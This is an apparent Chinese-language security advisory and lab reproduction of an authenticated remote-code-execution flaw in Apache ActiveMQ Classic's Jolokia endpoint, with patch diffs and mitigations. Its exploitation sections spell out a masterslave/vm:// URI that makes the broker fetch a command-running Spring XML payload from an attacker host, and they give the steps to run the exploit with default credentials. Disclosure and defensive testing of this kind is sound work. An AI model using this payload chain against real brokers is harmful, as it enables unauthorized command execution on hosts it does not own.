跳转至

CVE-2026-42588 — Apache ActiveMQ Classic Jolokia addNetworkConnector 远程代码执行

发布于 2026-06-06

任意已认证用户均可触发的远程代码执行

持有有效 Web 控制台凭据的任意用户,向 Jolokia 端点发送一个构造好的 HTTP 请求,即可在 Broker 主机上执行操作系统命令。默认安装使用凭据 admin/admin

字段 详情
Project Apache ActiveMQ
受影响组件 activemq-broker JAR — Jolokia JMX-HTTP 桥接器(/api/jolokia/)及 BrokerService.addNetworkConnector MBean 操作
Severity HIGH
CVSS CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N (8.1)
CWE CWE-20, CWE-94
受影响版本 activemq-broker < 5.19.7;6.0.0 – 6.2.5(同样适用于 activemq-allapache-activemq
修复版本 5.19.7, 6.2.6
安全公告 GHSA-hg6c-8mvr-jqc9

1. 漏洞概述

Apache ActiveMQ Classic 是应用广泛的 Java 消息中间件。5.19.7 之前及 6.0.0–6.2.5 的版本,在 Web 控制台(默认端口 8161)的 /api/jolokia/ 路径上暴露了 Jolokia JMX-HTTP 桥接器。持有任意有效控制台凭据(包括默认的 admin/admin)的攻击者,可通过该端点调用 BrokerService.addNetworkConnector(String) MBean 操作,在 Broker 主机上执行任意操作系统命令。

根本原因

该漏洞不是算法层面的代码缺陷,而是随二进制发行版分发的两个过于宽松的默认配置文件共同作用的结果,导致一个高权限操作在缺乏有效防护的情况下对外暴露。

assembly/src/release/conf/jolokia-access.xml — Jolokia 的操作允许/拒绝策略。修复前,<allow> 块对整个 org.apache.activemq:* MBean 命名空间授予了 <operation>*</operation> 权限;<deny> 块仅覆盖 Log4j2 诊断 MBean,既未拒绝 addNetworkConnector,也未将 HTTP 方法限制为仅 POST。

assembly/src/release/conf/jetty.xml — Jetty Web 服务器配置。/api/jolokia/* 路径未映射到 adminSecurityConstraint,因此持有 users 角色(即任意有效控制台账号)的用户无需 admin 角色便可访问 Jolokia。

注入点是 BrokerService.addNetworkConnector(String uri)。传入形如 masterslave:(vm://evilbroker?brokerConfig=xbean:http://attacker.host/payload.xml&create=true,...) 的 URI 时,masterslave 发现处理器将内层 vm:// URI 传给 VM 传输层。VM 传输层提取 brokerConfig 查询参数,原样传给 XBeanBrokerFactory.createBroker(URI),后者调用 new ResourceXmlApplicationContext(configURI)。Spring 在 Broker 执行任何校验之前就会拉取远程 XML 并实例化其中所有单例 Bean。XML 中若声明了以 java.lang.Runtimefactory-method="exec" 定义的 Bean,或带有 init-method="start"java.lang.ProcessBuilder Bean,便可在 Broker 的 JVM 中执行操作系统命令。

修复补丁已应用于 5.19.7 和 6.2.6 版本,同时修改了上述两个文件:

jolokia-access.xml — 将 HTTP 方法限制为 POST,并显式拒绝危险操作:

-  <!-- Enforce that an Origin/Referer header is present to prevent CSRF -->
+  <!-- Restrict HTTP methods to POST only -->
+  <http>
+    <method>post</method>
+  </http>

   <!-- deny block additions: -->
+    <mbean>
+      <name>org.apache.activemq:type=Broker,brokerName=*</name>
+      <operation>addNetworkConnector</operation>
+      <operation>removeNetworkConnector</operation>
+      <operation>addConnector</operation>
+      <operation>removeConnector</operation>
+      <operation>terminateJVM</operation>
+      <operation>stop</operation>
+      <!-- ... other lifecycle and topology ops ... -->
+    </mbean>
+    <!-- Also deny MLet (remote classloading), JMImplementation, java.lang:Runtime, etc. -->

jetty.xml — 将 Jolokia 置于 adminSecurityConstraint 保护之后,仅 admin 角色用户可访问:

+    <bean id="jolokiaSecurityConstraintMapping"
+          class="org.eclipse.jetty.security.ConstraintMapping">
+        <property name="constraint" ref="adminSecurityConstraint" />
+        <property name="pathSpec" value="/api/jolokia/*" />
+    </bean>

在更宽泛的 securityConstraintMapping 之前注册该映射:

     <property name="constraintMappings">
         <list>
             <ref bean="adminSecurityConstraintMapping" />
+            <ref bean="jolokiaSecurityConstraintMapping" />
             <ref bean="securityConstraintMapping" />
         </list>
     </property>

补丁还添加了 InetAccessHandler,默认将 Web 控制台限制为仅监听回环接口,并加入安全响应头。修复后,addNetworkConnector 及其他危险生命周期操作均在 Jolokia 访问策略层被拦截,URI 字符串不会到达传输层。


2. 漏洞复现环境

复现环境由两个 Docker 容器组成,运行于私有桥接网络。所有环境文件可下载 env.zip,或分别浏览以下各独立文件。

技术栈:

容器 角色 镜像 发布端口
cve-2026-42588-broker 存在漏洞的 Apache ActiveMQ Classic 6.1.4 — Web 控制台 + Jolokia 基于 env/Dockerfile.broker 构建 127.0.0.1:8161 → 8161
cve-2026-42588-attacker 攻击者控制的 HTTP 服务,用于分发 Spring XML 载荷 基于 env/Dockerfile.attacker 构建 仅内部网络可访问(端口 8888,未发布到宿主机)

Broker 镜像基于官方 apache/activemq-classic:6.1.4 构建,所有默认配置文件均未修改,jolokia-access.xmljetty.xml 与受影响版本发行包中的文件完全一致。attacker 容器运行 python -m http.server 8888,通过 bind mount 挂载 env/attacker-www/ 目录,利用脚本将载荷 XML 写入该目录。在桥接网络内部,Broker 通过 http://attacker:8888/<file> 访问攻击者的 HTTP 服务。

完整的 compose 配置见 env/docker-compose.yml

启动环境:

docker compose -f env/docker-compose.yml up -d --build

如何确认这是存在漏洞的环境:

  • Broker JAR 为 activemq-broker-6.1.4.jar,可通过 Jolokia 的 BrokerVersion 属性确认(返回 6.1.4),落在受影响的 6.0.0–6.2.5 范围内。
  • 默认 conf/jolokia-access.xmlorg.apache.activemq:* 授予 <operation>*</operation> 权限,无 addNetworkConnector 拒绝规则,也无仅限 POST 的 <http> 方法限制,即修复前的宽松策略。
  • env/positive-control.sh 脚本(env/positive-control.sh)使用一个无害的 Spring XML Bean(java.lang.String,而非执行命令的 Bean)检验攻击链的四个环节:Jolokia 端点、访问策略、攻击者 HTTP 主机,以及 ResourceXmlApplicationContext 接收点,全程不触发任何操作系统命令。返回 POSITIVE CONTROL: GREEN — PASS=8 FAIL=0 表明本机上完整的攻击链存在且可用。
bash env/positive-control.sh   # 预期输出: POSITIVE CONTROL: GREEN

3. 漏洞利用方法

利用脚本为 exploit/run.sh(完整文件集可下载 exploit.zip)。脚本为本次运行生成新的随机数(nonce),将 java.lang.ProcessBuilder Spring XML 载荷写入攻击者的 Web 目录,再向 addNetworkConnector 发送 Jolokia exec 请求。Broker 经桥接网络获取载荷 XML,在 ResourceXmlApplicationContext 实例化 Bean 时执行操作系统命令。

以下所有步骤均在运行目录下执行。

步骤 1 — 执行漏洞利用脚本并捕获标记文件路径。

MARKER=$(bash exploit/run.sh http://127.0.0.1:8161 admin:admin "$(pwd)/env/attacker-www" \
         | tee /dev/stderr | sed -n 's/^MARKER_PATH=//p')
echo "captured MARKER=$MARKER"

run.shMARKER_PATH=...NONCE=... 打印到标准输出,上述命令将标记文件路径捕获到 $MARKER 变量。Jolokia POST 请求应返回 "value":"NC","status":200,表示连接器已成功注册。

URI 格式要求

masterslave:// 方案要求至少提供两个内层 URI,且 VM 传输层必须被告知创建一个新的 Broker(而非附加到已运行的 Broker)。run.sh 使用以下格式: masterslave:(vm://evil-<nonce>?brokerConfig=xbean:http://attacker:8888/payload-<nonce>.xml&create=true,vm://evil-<nonce>?brokerConfig=xbean:http://attacker:8888/payload-<nonce>.xml&create=true) 单个 URI 或 vm://localhost(会附加到正在运行的 Broker)不会触发 XBean 实例化。

步骤 2 — 等待 Broker 创建标记文件,然后通过独立的特权通道读取。

for i in $(seq 1 60); do
  docker exec cve-2026-42588-broker sh -c "test -f $MARKER" && break
  sleep 2
done
docker exec cve-2026-42588-broker sh -c "stat -c '%n owner=%U:%G' $MARKER; echo ---; cat $MARKER"

Broker 通过异步计时器处理网络连接器,标记文件通常在 POST 请求发送后几秒内出现。该循环最多等待两分钟。

攻击成功的证明

验证依赖独立观察,不依赖利用脚本自身的输出。验证通过 docker exec 进入 Broker 容器完成——这是一个特权通道,利用脚本本身从不使用(exploit/run.sh 中不含 docker exec 调用,也无法直接访问 Broker 文件系统):

  • 标记文件存在于利用脚本报告的路径下。
  • 所有者为 root:root — 默认镜像中 Broker 进程以 root 运行,其创建的文件具有该归属关系,证明命令在 Broker 的 JVM 内部执行,而非通过其他路径触发。
  • 文件内容与本次运行生成的 nonce 一致(例如 cve-2026-42588-1780409388-52016-21523)。先前运行留下的旧标记文件包含不同的 nonce,无法匹配。

已验证运行的实际观测证据:

/tmp/cve-2026-42588-1780409388-52016-21523.marker owner=root:root
---
cve-2026-42588-1780409388-52016-21523

Broker 日志确认本次运行的攻击链已完整触发:

Establishing network connection from vm://localhost to
failover:(vm://evil-1780409388-52016-6800?brokerConfig=xbean:http://attacker:8888/payload-<nonce>.xml&create=true,...)

攻击者 HTTP 服务器日志显示 Broker 已获取本次运行的载荷 XML:

172.19.0.3 - - [date] "GET /payload-<nonce>.xml HTTP/1.1" 200 -

利用脚本无法通过其 HTTP/Jolokia 表面在 Broker 容器内伪造一个归属 root 的文件,因此匹配标记文件的存在是攻击链(addNetworkConnector → VM 传输层 brokerConfig → 远程 XBean XML Bean 实例化)在 Broker JVM 中执行操作系统命令的确凿证据。

环境清理

docker compose -f env/docker-compose.yml down -v
# 可选的镜像清理:
# docker image rm cve-2026-42588-broker:6.1.4 cve-2026-42588-attacker:latest

4. 安全建议

修复方案

升级到 Apache ActiveMQ Classic 5.19.7(5.x 系列)或 6.2.6(6.x 系列)。两个版本均以加固版本替换了宽松的默认 jolokia-access.xmljetty.xml:在 Jolokia 策略层显式拒绝 addNetworkConnector 及相关生命周期操作,将 Jolokia 置于 admin 角色保护之后,默认将 Web 控制台限制为仅监听回环接口,并加入安全响应头。

无法立即升级时的缓解措施

  1. jolokia-access.xml 中拦截 addNetworkConnector — 在运行中的 Broker 的 conf/jolokia-access.xml 中,为 org.apache.activemq:type=Broker,brokerName=* 下的 addNetworkConnectoraddConnector 及其他生命周期操作添加显式 <deny> 条目,同时添加 <http><method>post</method></http> 限制。
  2. 要求 Jolokia 访问具备 admin 角色 — 在 jetty.xml 中为 /api/jolokia/* 添加指向 adminSecurityConstraintConstraintMapping,置于更宽泛的 securityConstraintMapping 之前。
  3. 将 Web 控制台限制为回环接口 — 通过 InetAccessHandler 或防火墙规则,使端口 8161 不对不受信任的网络可达。
  4. 更改默认凭据 — 这不能消除漏洞(任意已认证用户均可利用),但会提高攻击门槛。默认的 admin/admin 凭据使未经修改的安装很容易成为攻击目标。
  5. 过滤 Broker 主机的出站 HTTP 流量 — 阻断 Broker 主机的出站 HTTP 请求,可防止其获取攻击者控制的 Spring XML,即使 Jolokia 调用成功也无法完成注入链。

参考资料